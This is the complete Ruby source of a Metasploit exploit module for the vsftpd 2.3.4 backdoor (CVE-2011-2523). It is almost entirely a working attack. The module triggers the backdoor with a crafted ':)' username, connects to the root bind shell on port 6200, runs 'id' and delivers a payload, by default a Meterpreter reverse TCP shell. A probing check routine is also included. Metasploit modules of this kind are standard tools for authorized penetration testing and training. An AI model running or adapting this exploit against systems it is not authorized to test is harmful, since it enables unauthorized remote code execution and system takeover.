## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Auxiliary::Report include Msf::Exploit::Remote::Tcp prepend Msf::Exploit::Remote::AutoCheck def initialize(info = {}) super( update_info( info, 'Name' => 'VSFTPD 2.3.4 Backdoor Command Execution', 'Description' => %q{ This module exploits a malicious backdoor that was added to the VSFTPD download archive. This backdoor was introduced into the vsftpd-2.3.4.tar.gz archive between June 30th 2011 and July 1st 2011 according to the most recent information available. This backdoor was removed on July 3rd 2011. }, 'Author' => [ 'hdm', 'MC', 'g0tmi1k' # @g0tmi1k // https://blog.g0tmi1k.com/ - additional features ], 'License' => MSF_LICENSE, 'References' => [ [ 'CVE', '2011-2523' ], [ 'OSVDB', '73573'], [ 'URL', 'http://pastebin.com/AetT9sS5'], [ 'URL', 'http://scarybeastsecurity.blogspot.com/2011/07/alert-vsftpd-download-backdoored.html' ], ], 'Privileged' => true, 'Platform' => [ 'unix', 'linux' ], 'Arch' => ARCH_CMD, 'Payload' => { 'Space' => 2000, 'BadChars' => '', 'DisableNops' => true }, 'Targets' => [ [ 'Linux/Unix Command', { 'Type' => :unix_cmd, 'DefaultOptions' => { # This exploit also supports direct interaction with the backdoor using cmd/unix/interact payload 'PAYLOAD' => 'cmd/linux/http/x86/meterpreter_reverse_tcp' } } ] ], 'DisclosureDate' => '2011-07-03', 'DefaultTarget' => 0, 'Notes' => { 'Reliability' => UNKNOWN_RELIABILITY, 'Stability' => UNKNOWN_STABILITY, 'SideEffects' => UNKNOWN_SIDE_EFFECTS } ) ) register_options([ Opt::RPORT(21) ]) end def get_banner banner = sock.get_once(-1, 30).to_s vprint_status("FTP banner: #{banner.strip}") version = banner[/\((.*?)\)/, 1] report_service( host: rhost, port: rport, proto: 'tcp', name: 'ftp', info: "#{version}" ) banner end def check # Check for backdoor first, else exploit will fail vprint_status("Checking if backdoor has already been triggered (else exploit will fail)") nsock = self.connect(false, { 'RPORT' => 6200 }) rescue nil if nsock print_error("The port used by the backdoor bind listener is already open/in-use (6200/TCP)") return Exploit::CheckCode::Unknown('Backdoor bind listener port 6200 is already open') end vprint_status("Connecting to FTP service") connect vprint_status("Checking FTP banner") banner = get_banner if banner.downcase.include?("vsftpd 2.3.4") print_status("FTP banner hints its vulnerable: #{banner.strip}") else vprint_status("FTP banner: #{banner.strip}") end ftp_user = rand_text_alphanumeric(rand(6) + 1) vprint_status("Trying to log into FTP (User: #{ftp_user})") sock.put("USER #{ftp_user}\r\n") resp = sock.get_once(-1, 30).to_s if resp =~ /^530 / print_error("This server is configured for anonymous only and the backdoor code cannot be reached") return Exploit::CheckCode::Safe('Server configured for anonymous only, backdoor code unreachable') end if resp !~ /^331 / print_error("This server did not respond as expected: #{resp.strip}") return Exploit::CheckCode::Unknown("Unexpected FTP response: #{resp.strip}") end return Exploit::CheckCode::Appears('vsftpd 2.3.4 banner detected; backdoor may be present') if banner.downcase.include?("vsftpd 2.3.4") and resp =~ /^331 / return Exploit::CheckCode::Unknown('Could not determine if target is vulnerable') ensure disconnect end def exploit # Check for backdoor first, else exploit will fail framework.sessions.each do |sid, sess| next unless sess.via_exploit if sess.via_exploit == fullname vprint_error("Session #{sid} is already connected to the backdoor") end end nsock = self.connect(false, { 'RPORT' => 6200 }) rescue nil if nsock # Chance are, we will fail, but doesn't hurt to try print_warning("The port used by the backdoor bind listener is already open. Trying...") begin handle_backdoor(nsock) rescue vprint_error("Someone has beat us to it, the backdoor is already in-use!") raise Msf::Exploit::Failed, "Backdoor already in-use" end end # Now connect to the FTP service vprint_status("Connecting to FTP service") connect # Without this, 220 response, rather than 331 vprint_status("Checking FTP banner") banner = get_banner ftp_user = "#{rand_text_alphanumeric(rand(6) + 1)}:)" vprint_status("Trying to log into FTP via backdoor. User: #{ftp_user}") sock.put("USER #{ftp_user}\r\n") resp = sock.get_once(-1, 30).to_s vprint_status(resp.strip) if resp =~ /^530 / print_error("This server is configured for anonymous only and the backdoor code cannot be reached") disconnect return end if resp !~ /^331 / print_error("This server did not respond as expected: #{resp.strip}") disconnect return end ftp_pass = "#{rand_text_alphanumeric(rand(6) + 1)}" vprint_status("Trying to log into FTP via backdoor. Password: #{ftp_pass}") sock.put("PASS #{ftp_pass}\r\n") # Do not bother reading the response from password, just try the backdoor vprint_status("Connecting to backdoor on 6200/TCP") nsock = self.connect(false, { 'RPORT' => 6200 }) rescue nil if nsock print_good("Backdoor has been spawned!") handle_backdoor(nsock) return else print_warning("Unable to connect to backdoor on 6200/TCP. Cooldown?") end # Finished with FTP disconnect end def handle_backdoor(s) vprint_status("Trying 'id' command") s.put("id\n") # Wait 5 seconds and get everything r = s.get_once(-1, 5).to_s if r !~ /uid=/ print_error("The service on port 6200/TCP does not appear to be a fresh shell. Already exploited?") # Finished with the backdoor disconnect(s) raise Msf::Exploit::Failed, 'Could not connect to backdoor' end vprint_good("UID: #{r.strip}") unless payload.encoded.empty? c = "" c << payload.encoded c << "\n" vprint_status("Running: #{c.strip}") s.put(c) end handler(s) end end